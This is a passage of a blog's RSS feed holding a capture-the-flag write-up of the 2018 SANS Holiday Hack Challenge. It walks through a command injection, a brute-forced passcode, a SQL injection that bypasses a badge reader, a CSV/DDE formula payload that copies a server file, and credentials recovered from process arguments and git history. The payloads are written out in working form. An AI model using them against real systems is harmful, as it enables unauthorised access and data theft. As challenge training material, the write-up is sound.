<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[StackCrash]]></title><description><![CDATA[Scripts, Write-Ups, PowerShell and More]]></description><link>https://www.itsecguy.com/</link><image><url>https://www.itsecguy.com/favicon.png</url><title>StackCrash</title><link>https://www.itsecguy.com/</link></image><generator>Ghost 2.22</generator><lastBuildDate>Wed, 22 Apr 2026 12:37:52 GMT</lastBuildDate><atom:link href="https://www.itsecguy.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[The 2018 SANS Holiday Hack Challenge - Write-Up]]></title><description><![CDATA[<h2 id="introduction">Introduction</h2><p>This year's <a href="https://www.holidayhackchallenge.com/2018/index.html">SANS Holiday Hack Challenge</a> came in the form of a security conference called KringleCon where I took on the role of an attendee. The challenge had several parts to it. Throughout the conference there were various terminals which had their own sets of challenges, series of locked</p>]]></description><link>https://www.itsecguy.com/the-2018-sans-holiday-hack-challenge-write-up/</link><guid isPermaLink="false">5c2399d6258a46048c1b7f99</guid><category><![CDATA[SANSHolidayChallenge]]></category><category><![CDATA[CTFs]]></category><category><![CDATA[Challenges]]></category><dc:creator><![CDATA[StackCrash]]></dc:creator><pubDate>Tue, 15 Jan 2019 12:00:00 GMT</pubDate><media:content url="https://www.itsecguy.com/content/images/2018/12/banner.png" medium="image"/><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2><img src="https://www.itsecguy.com/content/images/2018/12/banner.png" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"><p>This year's <a href="https://www.holidayhackchallenge.com/2018/index.html">SANS Holiday Hack Challenge</a> came in the form of a security conference called KringleCon where I took on the role of an attendee. The challenge had several parts to it. Throughout the conference there were various terminals which had their own sets of challenges, series of locked doors and even a maze. The terminals provided hints towards the main objectives and how to unlock the doors.</p><h2 id="orientation-challenge">Orientation Challenge</h2><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-1.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The first objective was to solve a trivia game about past Holiday Hack challenges. A hint could be obtained from solving the terminal <em>Essential Editor Skills. </em></p><h3 id="kringle-history-kiosk">Kringle History Kiosk</h3><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-7.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Question 1<br>In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?</p><p>firmware</p><p>Question 2<br>In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?</p><p>ANTAS</p><p>Question 3<br>In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?</p><p>Business Card</p><p>Question 4<br>In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?</p><p>Cranberry Pi</p><p>Question 5<br>In 2017, the North Pole was being bombarded by giant objects. What were they?</p><p>Snowballs</p><p>Question 6<br>In 2017, Sam the snowman needed help reassembling pages torn from what?</p><p>The Great Book</p><p>Once I answered all the questions I was given the answer to the first objective.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-3.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h3 id="essential-editor-skills">Essential Editor Skills</h3><p>Bushy Evergreen asked me to help with exiting VI. Which is amusing given its a very popular question on StackOverflow and even has its own meme.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-5.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>I simply used <code>q!</code> to force quit VI and complete the terminal's challenge.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-6.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h2 id="directory-browsing">Directory Browsing</h2><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-8.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The next objective was to find out who submitted a specific talk that was rejected. A hint could be obtained by completing <em>The Name Game</em> terminal.</p><h3 id="cfp-site">CFP Site</h3><p>The objective told me to visit the call for papers (CFP) <a href="https://cfp.kringlecastle.com/">site</a> and see if I can find the rejected talks. When I visited the site there was a link called CFP. This naturally was a good place to start, but it simply lead to a page saying the CFP was closed. One thing that I noticed was the page itself was in a directory called <code>cfp</code> and force browsing to this directory revealed that the site had a directory listing vulnerability. </p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-11.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Inside the directory was a file containing exactly what I needed to solve the objective. </p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-9.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h3 id="the-name-game">The Name Game</h3><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-10.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Minty Candycane was asking for help remembering a new hire's name. In the terminal I was stuck in a PowerShell script. Luckily, the script took input for a command when you choose option 2.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-12.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>When a PowerShell script takes input for a command its possible to break the desired command and instead run a command you want to run. All it takes is using an <code>&amp;</code> followed by the command you want to perform encased in quotes.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-14.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>I needed to find out the new hire's name and all Minty could remember was the last name Chan. The names are entered into a SQLite database called <code>onboard.db</code>. Being limited to running a single command at a time the easiest path for me to recover the name of the new hire was to dump the database.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-15.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Running the command <code>&amp; "sqlite3" onboard.db .dump &gt; /tmp/onboard.bak</code> dumps the database to a file that I can grep for the new hire's name.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-17.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>After grepping the dump I had the name I needed to solve the terminal.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-18.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h2 id="de-bruijn-sequences">de Bruijn Sequences</h2><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-19.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The third objective told me to find a way into the unpreparedness room and talk to one of the elves. It also says a hint can be obtained by completing the <em>Lethal ForensicELFication</em> terminal.</p><h3 id="door-passcode">Door Passcode</h3><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-20.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The door's lock requires a four character passcode and it allows codes to be continuously entered. This means a <a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence">de Bruijn sequence</a> can be used. Even then manually entering each part of the sequence would be a painstaking endeavor. Luckily this is a web application so I viewed the source and noticed an interesting GET request performed.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-21.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The <code>checkpass.php?i=</code> request is how the lock is checking if I entered the correct passcode. The source also revealed the symbols are converted to numbers from 0-3. Armed with this information I could skip the method of entering the passcode manually through a de Bruijn sequence and instead use a list of all the permutations of a four digit number where each digit is between zero and three. I configured Burp's intruder tool to perform a sniper attack on the <code>checkpass.php</code> page.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-22.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The payload used was a simple list containing all the four digit combinations of zero to three. It is important to note that a valid <code>resourceId</code> parameter must also be passed with the request. Luckily, again the source revealed the resourceID was the same as the ID used in get request for the application itself.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-23.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Using this method the correct passcode was revealed to be 0120 or triangle square circle triangle.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-24.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The original challenge of using a de Bruijn sequence would have also worked if I used a sequence like the following after the 22nd entry in the sequence.</p><pre><code>0 0 0 0 1 0 0 0 2 0 0 0 3 0 0 1 1 0 0 1 2 0 0 1 3 0 0 2 1 0 0 2 2 0 0 2 3 0 0 3 1 0 0 3 2 0 0 3 3 0 1 0 1 0 2 0 1 0 3 0 1 1 1 0 1 1 2 0 1 1 3 0 1 2 1 0 1 2 2 0 1 2 3 0 1 3 1 0 1 3 2 0 1 3 3 0 2 0 2 0 3 0 2 1 1 0 2 1 2 0 2 1 3 0 2 2 1 0 2 2 2 0 2 2 3 0 2 3 1 0 2 3 2 0 2 3 3 0 3 0 3 1 1 0 3 1 2 0 3 1 3 0 3 2 1 0 3 2 2 0 3 2 3 0 3 3 1 0 3 3 2 0 3 3 3 1 1 1 1 2 1 1 1 3 1 1 2 2 1 1 2 3 1 1 3 2 1 1 3 3 1 2 1 2 1 3 1 2 2 2 1 2 2 3 1 2 3 2 1 2 3 3 1 3 1 3 2 2 1 3 2 3 1 3 3 2 1 3 3 3 2 2 2 2 3 2 2 3 3 2 3 2 3 3 3 3 (0 0 0) 
</code></pre>
<p>After opening the door talking to Morcel Nougat revealed the answer to the objective.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-25.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h3 id="lethal-forensicelfication">Lethal ForensicELFication</h3><p>In this terminal Tangle Coalbox ask for help identifying the first name of an elf who wrote a love poem and hints that there might be a trace left by the editor used. Checking the VIM log file <code>.viminfo</code> revealed the elf in question.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-26.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Using the command <code>head -20 .viminfo</code> I was able to read the first twenty lines of the viminfo file. It turned out that an elf named Elinore wrote the poem.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-27.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h2 id="data-repo-analysis">Data Repo Analysis</h2><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-28.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The next objective asked me to find the password for a zip file contained in the <a href="https://git.kringlecastle.com/Upatree/santas_castle_automation">North Pole Git repository</a>. The particular zip file in the repository was the <a href="https://git.kringlecastle.com/Upatree/santas_castle_automation/blob/master/schematics/ventilation_diagram.zip">ventilation_diagram.zip</a>. The terminal that could provide a hint for how to obtain the password was the <em>Stall Mucking Report<strong> </strong></em>terminal.</p><h3 id="gitlab-repo">Gitlab Repo</h3><p>A benefit to repos like the one used is sometimes secrets such as passwords are in commit messages or files committed to the repository. Using a tool called t<em>rufflehog </em>I was able to locate the password for the zip file with the command <code>trufflehog https://git.kringlecastle.com/Upatree/santas_castle_automation</code>.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-30.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Inside the zip file itself was schematics for the ventilation system.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-31.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-32.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The entrance to the ventilation system was next to the Google booth.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-33.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Completing the maze gave an achievement and bypassed one of the door locks that was a later objective.</p><h3 id="stall-mucking-report">Stall Mucking Report</h3><p>For this terminal challenge Wunorse Openslae forgot the password for a Samba share and needs to upload a report to the share. Wunrose indicated that they use automated tasks related to the Samba share. By running <code>ps aux</code> I was able to see the various processes running and partials of their command line arguments.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-34.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The process with the PID of 11 stood out since it had part of the shares address in its command line arguments. In order to see the full command line I used cat on the proc file.</p><pre><code class="language-shell">cat /proc/11/cmdline
</code></pre>
<figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-35.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>This provided the full command line for the process and revealed both the username and password needed to connect to the samba share and upload the report.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-36.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>By using the command <code>smbclient -U report-upload%directreindeerflatterystable //localhost/report-upload -c 'put report.txt'</code> I was able to successfully complete the terminal's challenge.</p><h2 id="ad-privilege-discovery">AD Privilege Discovery</h2><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-37.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The fifth objective asked me to download a VM and use it to find a path to domain admin with a <a href="https://attack.mitre.org/techniques/T1208/">Kerboroastable</a> user without relying on RDP. The terminal that provides the hint for the objective was the <em>CURLing Master</em> terminal.</p><h3 id="hhc2018-domainhack_2018-12-19-ova">HHC2018-DomainHack_2018-12-19.ova</h3><p>The VM included Bloodhound which combined with its built-in queries I was able to make light work of the challenge.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-38.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The built in query is exactly what was needed when combined with a little observation. The user required to solve the challenge was revealed.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-39.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h3 id="curling-master">CURLing Master</h3><p>For this terminal challenge Holly Evergreen needed help turning back on the striper. The terminal itself told me all it took was submitting the right request to http://localhost:8080/.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-40.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Reviewing the nginx configuration revealed the site uses the http2 protocol. Using the command <code>curl --http2-prior-knowledge http://localhost:8080/</code> I was able to see what was needed in order to complete the next step.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-42.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Using the command <code>curl --http2-prior-knowledge -d "status=on" -X POST http://localhost:8080/</code> I submitted a POST request with the parameter <code>status=on</code> and completed the challenge.</p><h2 id="badge-manipulation">Badge Manipulation</h2><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-43.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The sixth objective required me to bypass the badge reader lock on a door. Completing the ventilation maze will bypass the lock but it won't provide the information needed to complete the objective. The terminal providing the hint for this objective was the <em>Yule Log Analysis</em> terminal.</p><h3 id="scan-o-matic">Scan-O-Matic</h3><p>The door lock was a badge reader. Each badge had a QR code that provides a user id when read. Since the reader takes a user id it was safe to assume it used this value to query a database. As with any database query the first step was to send a single quote and see what happens.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-44.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>An error was as displayed on the screen and scrolled through. Luckily, using the developer tools in a browser it was easier to see the message in the responses.</p><pre><code>EXCEPTION AT (LINE 96 \&quot;user_info = query(\&quot;SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\&quot;.format(uid))\&quot;): (1064, u\&quot;You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 1' at line 1\&quot;)
</code></pre>
<p>The error provided the query that was broken by the single quote indicating the scanner was vulnerable to SQL injection. Since I wanted to be granted access I needed to bypass the uid, a <code>1=1</code> injection would be needed. Another part I would need was to ensure only one user was returned so I had to keep the <code>LIMIT 1</code>. Finally, I needed to return a user that was enabled so I needed to have <code>enabled=1</code> in the query.</p><p>The desired query would be <code>SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' or 1=1 AND enabled = 1 LIMIT 1</code>.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-45.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Using a QR code containing the injection <code>' or 1=1 AND enabled = 1 LIMIT 1; --</code> I still received and error message.</p><pre><code>EXCEPTION AT (LINE 96 \&quot;user_info = query(\&quot;SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\&quot;.format(uid))\&quot;): (1064, u\&quot;You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '--' LIMIT 1' at line 1\&quot;)
</code></pre>
<p>While the error doesn't say exactly what was wrong its easy to guess the quotes were still unbalanced.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-46.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Using a new QR code containing the injection <code>' or 1=1 AND enabled = 1 LIMIT 1; -- -'</code> balanced out the quotes and was a successful injection to bypass the badge scanner lock.</p><pre><code>User Access Granted - Control number 19880715
</code></pre>
<h3 id="yule-log-analysis">Yule Log Analysis</h3><p>In this terminal challenge Pepper Minstix revealed that their webmail was successfully attacked using password spraying and needed help identifying the compromised account. </p><p>To assist me Pepper provided a python script to convert the log file into XML. Running the command <code>python evtx_dump.py ho-ho-no.evtx &gt; /tmp/hoho.xml</code> allowed me to export the log to XML and write it to a file.</p><p>Since the attack was a password spray it meant there would be a lot of failed login events from a single IP Address. Grepping the XML with the command <code>grep -B 2 -A 42 4625 /tmp/hoho.xml | grep IpAddress</code> revealed the IP address.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-49.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The <code>-B 2</code> flag caused grep to return the match and the two lines before it. The <code>-A 42</code> flag returns the forty-two lines that follow the match. 4625 is the failed login event id. Piping the results to another grep looking for the tag <code>IPAddress</code> ensured I would see the IP addresses of the failed logins. Using the IP address for the system performing the password spray I was able to craft another grep command <code>grep -B 2 -A 42 4624 /tmp/hoho.xml | grep -B 33 -A 10 172.31.254.101 | grep -B 20 -A 23 -E '\w+.\w+'</code> to find the victims account. </p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-50.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The event id 4624 is the successful login id and then piping those results to a grep containing the IP address would return only the successful logins from that IP. The regular expression on the end <code>'\w+.\w+'</code> limited the results to accounts that matched the naming convention used.</p><p>By submitting minty.candycane to the answer check I was able to complete the terminal.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-51.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h2 id="hr-incident-response">HR Incident Response</h2><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-52.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The next objective asked me to hack the elf resources website and obtain a file. Then find a specific entry in the file. A hint could be obtained by completing the <em>Dev Ops Fail</em> terminal.</p><h3 id="elf-resources-site">Elf Resources Site</h3><p>The first page when visiting the <a href="https://careers.kringlecastle.com/">site</a> shows a fairly basic form but it also has file upload functionality.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-53.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>While exploring the site I noticed if I tried to go to a page that wasn't valid I would get an interesting 404 page instead.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-54.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>I knew where the file I wanted was located and where the server's web directory was located. Combined with the file upload it became obvious one potential method of attack would be to use a vulnerability exploiting dynamic data exchange (DDE). I had to craft a DDE payload that would perform the command <code>COPY C:\candidate_evaluation.docx C:\careerportal\resources\public\stackcrash.docx</code>. </p><p>The DDE payload was fairly simple to make that would execute that command. First I would need to start the payload with an equal sign to make sure whatever was parsing the CSV would evaluate the payload as a function. Then I would need to call the command prompt and pass it the command to copy the files. Lastly I would have to add some context to ensure it was evaluated as a DDE command was <code>=cmd|'/c COPY C:\candidate_evaluation.docx C:\careerportal\resources\public\stackcrash.docx'!A1</code>.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-56.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>After uploading a CSV file with the DDE payload all I had to do was request the document I had copied. After reading the document I found the answer to the objective.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-57.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h3 id="dev-ops-fail">Dev Ops Fail</h3><p>For this terminal Sparkle Redberry asked for help proving that credentials that were accidently committed to a git repo were successfully removed. The first thing I had to do was change the directory to the proper one in order to start exploring the git history. After changing the directory running <code>git log</code> revealed an interesting commit.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-58.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The next thing that had to be done was find the difference between that commit and the next one. Running <code>git diff 60a2ffea7520ee980a5fc60177ff4d0633f2516b..b2376f4a93ca1889ba7d947c2d14be9a5d138802</code> provided exactly what I was looking for.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-59.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>When observing the difference between commits the line that contained <code>mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api</code> showed credentials were accidently committed and still obtainable in the git history. Unfortunately, for Sparkle this meant Sparkle was indeed wrong about correcting the accidental commit.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-61.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h2 id="network-traffic-forensics">Network Traffic Forensics</h2><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-62.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The eighth objective required me to decrypt http/2 traffic and find a discussion that was going on. A hint for the objective could be obtained by completing the <em>Python Escape from LA</em> terminal.</p><h3 id="packalyzer">Packalyzer</h3><p>The first thing I did was register for the <a href="https://packalyzer.kringlecastle.com">packalyzer</a> site. After registering and logging in I explored the site and noticed it allowed you to capture twenty seconds of network traffic and download those pcaps as well as upload your own pcaps. Next I viewed the source for the main page when logged in.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-63.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>I noticed a reference to a server-side file called app.js. I went back in the source and looked for where other JS files were loaded from and found the <code>/pub/</code> directory.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-64.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>By browsing directly to /pub/app.js I was able to view the server-side source code.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-65.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The first thing to stand out was <code>dev_mode</code> was set to true and that there was a <code>key_log_path</code> set to a value based on some environmental variables. Next I noticed there was a function that created directories based on the environmental variables names.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-66.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The last thing I noticed is how the application routed requests.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-67.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>In order to decrypt http/2 traffic I needed the <code>key_log_file</code> and the twenty second pcap that was generated. After reviewing the server-side source code I was able to come up with a plan of attack. I needed to find the values of the two environmental variables used in the <code>key_log_path</code> and then from those values open the file itself.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-68.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The first directory I browsed to was the <code>/dev/</code> directory based on the <code>process.env.DEV</code> variable. This was telling because the error message indicated it was trying to read a directory itself. This meant the value of the variable was most likely something similar to <code>dev/</code>.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-69.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The next directory I browsed was the <code>/SSLKEYLOGFILE/</code> directory which was based on the <code>process.env.SSLKEYLOGFILE</code> variable. The error message this time gave me the value for the variable. Since the <code>/opt/http2</code> portion was most likely the directory the application was running from it meant the value I needed was <code>packalyzer_clientrandom_ssl.log</code>.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-70.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Given I knew how the key log's path was generated and the values of the environmental variables I was able to successfully find the key log. Next I needed to capture a pcap inside the application and download it. After opening up the pcap in Wireshark and loading the key file I noticed I had captured logins.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-71.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The majority of the logins didn't lead to anything of interest until I tried Alabaster's login. With Alabaster's login I noticed an interesting pcap that was downloadable.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-72.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>I downloaded the pcap and reviewed it in Wireshark. It was a capture that contained emails including an attachment.</p><pre><code>220 mail.kringlecastle.com ESMTP Postfix (Ubuntu)
EHLO Mail.kringlecastle.com
250-mail.kringlecastle.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN

MAIL FROM:&lt;Holly.evergreen@mail.kringlecastle.com&gt;
250 2.1.0 Ok
RCPT TO:&lt;alabaster.snowball@mail.kringlecastle.com&gt;
250 2.1.5 Ok
DATA
354 End data with &lt;CR&gt;&lt;LF&gt;.&lt;CR&gt;&lt;LF&gt;
Date: Fri, 28 Sep 2018 11:33:17 -0400
To: alabaster.snowball@mail.kringlecastle.com
From: Holly.evergreen@mail.kringlecastle.com
Subject: test Fri, 28 Sep 2018 11:33:17 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=&quot;----=_MIME_BOUNDARY_000_11181&quot;

------=_MIME_BOUNDARY_000_11181
Content-Type: text/plain

Hey alabaster, 

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

------=_MIME_BOUNDARY_000_11181
Content-Type: application/octet-stream
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment

JVBERi0xLjUKJb/3ov4KOCAwIG9iago8PCAvTGluZWFyaXplZCAxIC9MIDk3ODMxIC9IIFsgNzM4
IDE0MCBdIC9PIDEyIC9FIDc3MzQ0IC9OIDIgL1QgOTc1MTcgPj4KZW5kb2JqCiAgICAgICAgICAg
...
2zMAAFMTA30KZW5kc3RyZWFtCmVuZG9iagogICAgICAgICAgICAgICAgICAgICAgICAgICAgIApz
dGFydHhyZWYKMjE2CiUlRU9GCg==

------=_MIME_BOUNDARY_000_11181--


.

250 2.0.0 Ok: queued as 4CF931B5C3C0
QUIT
221 2.0.0 Bye
</code></pre>
<p>Decoding the base64 attachment revealed it was a pdf.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-73.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>I saved the base64 as a text file then wrote a little python script to convert the base64 back into a pdf.</p><pre><code class="language-python">import base64

with open(&quot;pdf_base64.txt&quot;) as base:
    code = base.read()
    with open(&quot;attachment.pdf&quot;, &quot;wb&quot;) as pdf:
        pdf.write(base64.b64decode(code))

</code></pre>
